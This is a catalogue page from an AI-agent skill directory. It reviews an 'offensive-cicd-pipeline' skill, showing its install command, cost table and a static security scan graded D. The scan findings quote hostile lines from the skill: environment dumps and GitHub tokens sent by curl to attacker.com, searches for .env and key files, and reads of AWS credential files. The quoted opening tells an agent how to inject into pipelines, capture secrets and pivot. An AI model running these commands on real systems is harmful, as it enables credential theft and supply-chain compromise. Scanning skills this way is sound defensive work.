Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/Miosa-osa/OSAnpx agentmods add skills/miosa-osa/osa/offensive-cicd-pipelineWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miosa-osa/osa/offensive-cicd-pipeline)<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-cicd-pipeline"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-cicd-pipeline/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-cicd-pipeline"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-cicd-pipeline.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00180 | $0.04937 |
| Opus 5.5 | $0.00072 | $0.01975 |
| Sonnet 5.5 | $0.00036 | $0.00987 |
| Haiku 4.5 | $0.00018 | $0.00494 |
Grade D, and why
offensive-cicd-pipeline scanned grade D with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
env | base64 | curl -X POST -d @- https://attacker.com/collect Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Harvests environment variablesmediumData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
# Dump all credentials with valid session Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Enumerates the file system for secretsmediumData exfiltration
Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.
find / -name "*.env" -o -name "credentials" -o -name "*.key" 2>/dev/null | head -20 Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
cat /home/*/.aws/credentials 2>/dev/null Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) # How it starts
The opening of the file, as written. The whole thing — 560 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Offensive CI/CD Pipeline Exploitation
CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability to inject malicious code into production artifacts. You exploit the implicit trust that organizations place in their build systems -- pipelines run code with elevated privileges, hold secrets for deployment, and operate with minimal monitoring compared to production systems.
This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline configurations, identify injection points, escalate from contributor-level access to arbitrary code execution, and leverage pipeline trust to move laterally through environments.
MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)
Quick Workflow
- Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
- Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
- Map token scopes and available secrets for each pipeline context.
- Select the injection vector matching your access level (contributor, external PR, authenticated user).
- Craft the payload for the target platform's expression language or script engine.
- Execute and capture output -- secrets, tokens, or artifact modification.
- Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.
GitHub Actions Expression Injection
GitHub Actions evaluates expressions in ${{ }} contexts. When attacker-controlled data flows into
these expressions without sanitization, you achieve arbitrary command injection in the runner context.
The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages
that flow into run: steps or action inputs.
Identify vulnerable workflows by searching for direct interpolation of event data:
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 560 lines · 180 tokens per session scan D c1b21f2c8fb7
offensive-cicd-pipeline is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 180 tokens to every session and 4,937 once invoked, about $0.0007 per session on Opus 5.5. A static security scan graded it D with 5 findings (sends data to an external url, harvests environment variables, enumerates the file system for secrets). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-14.
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